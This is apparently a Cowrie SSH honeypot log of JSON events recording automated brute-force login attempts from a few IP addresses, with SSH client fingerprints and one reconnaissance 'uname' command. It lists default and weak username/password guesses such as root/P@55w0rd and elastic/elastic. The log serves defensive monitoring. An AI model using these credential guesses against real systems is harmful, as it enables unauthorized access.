{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:35.610682Z","src_ip":"5.196.136.131","session":"623db81fec2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:36.688869Z","src_ip":"5.196.136.131","session":"623db81fec2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":61970,"dst_ip":"10.17.0.5","dst_port":22,"session":"d10a872b0a40","protocol":"ssh","message":"New connection: 5.196.136.131:61970 (10.17.0.5:22) [session: d10a872b0a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:39.701437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:39.705215Z","src_ip":"5.196.136.131","session":"d10a872b0a40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:39.800107Z","src_ip":"5.196.136.131","session":"d10a872b0a40","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:40.045396Z","src_ip":"5.196.136.131","session":"d10a872b0a40","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:40.249943Z","src_ip":"5.196.136.131","session":"d10a872b0a40","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:40.252339Z","src_ip":"5.196.136.131","session":"d10a872b0a40","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:40.337479Z","src_ip":"5.196.136.131","session":"d10a872b0a40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:40.342857Z","src_ip":"5.196.136.131","session":"d10a872b0a40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":39501,"dst_ip":"10.17.0.5","dst_port":22,"session":"5854622a7df0","protocol":"ssh","message":"New connection: 5.196.136.131:39501 (10.17.0.5:22) [session: 5854622a7df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:44.079289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:44.083289Z","src_ip":"5.196.136.131","session":"5854622a7df0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:44.209661Z","src_ip":"5.196.136.131","session":"5854622a7df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:44.460280Z","src_ip":"5.196.136.131","session":"5854622a7df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:45.545428Z","src_ip":"5.196.136.131","session":"5854622a7df0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":50839,"dst_ip":"10.17.0.5","dst_port":22,"session":"54de8338c7bb","protocol":"ssh","message":"New connection: 5.196.136.131:50839 (10.17.0.5:22) [session: 54de8338c7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:48.382832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:48.385306Z","src_ip":"5.196.136.131","session":"54de8338c7bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:48.465711Z","src_ip":"5.196.136.131","session":"54de8338c7bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:48.708773Z","src_ip":"5.196.136.131","session":"54de8338c7bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.220.6","src_port":6314,"dst_ip":"10.17.0.5","dst_port":22,"session":"394385f46f25","protocol":"ssh","message":"New connection: 202.29.220.6:6314 (10.17.0.5:22) [session: 394385f46f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:49.153966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:49.157205Z","src_ip":"202.29.220.6","session":"394385f46f25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:49.398954Z","src_ip":"202.29.220.6","session":"394385f46f25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:49.792797Z","src_ip":"5.196.136.131","session":"54de8338c7bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2021!@#","message":"login attempt [root/unitedstates2021!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:50.116015Z","src_ip":"202.29.220.6","session":"394385f46f25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:51.363106Z","src_ip":"202.29.220.6","session":"394385f46f25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":44075,"dst_ip":"10.17.0.5","dst_port":22,"session":"a25ff3d72a4c","protocol":"ssh","message":"New connection: 5.196.136.131:44075 (10.17.0.5:22) [session: a25ff3d72a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:52.787261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:52.790365Z","src_ip":"5.196.136.131","session":"a25ff3d72a4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:52.867156Z","src_ip":"5.196.136.131","session":"a25ff3d72a4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:53.097398Z","src_ip":"5.196.136.131","session":"a25ff3d72a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:54.176349Z","src_ip":"5.196.136.131","session":"a25ff3d72a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":43432,"dst_ip":"10.17.0.5","dst_port":22,"session":"99e88985ae50","protocol":"ssh","message":"New connection: 5.196.136.131:43432 (10.17.0.5:22) [session: 99e88985ae50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:57.293738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:57.297101Z","src_ip":"5.196.136.131","session":"99e88985ae50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:57.373313Z","src_ip":"5.196.136.131","session":"99e88985ae50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:57.605152Z","src_ip":"5.196.136.131","session":"99e88985ae50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:39:58.683414Z","src_ip":"5.196.136.131","session":"99e88985ae50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":39872,"dst_ip":"10.17.0.5","dst_port":22,"session":"749c5c3d5d93","protocol":"ssh","message":"New connection: 5.196.136.131:39872 (10.17.0.5:22) [session: 749c5c3d5d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:01.691362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:01.695627Z","src_ip":"5.196.136.131","session":"749c5c3d5d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:01.774331Z","src_ip":"5.196.136.131","session":"749c5c3d5d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:02.013771Z","src_ip":"5.196.136.131","session":"749c5c3d5d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:03.097962Z","src_ip":"5.196.136.131","session":"749c5c3d5d93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":20915,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a5a58881dcb","protocol":"ssh","message":"New connection: 5.196.136.131:20915 (10.17.0.5:22) [session: 8a5a58881dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:06.170274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:06.174246Z","src_ip":"5.196.136.131","session":"8a5a58881dcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:06.252055Z","src_ip":"5.196.136.131","session":"8a5a58881dcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:06.488673Z","src_ip":"5.196.136.131","session":"8a5a58881dcb","protocol":"ssh"}
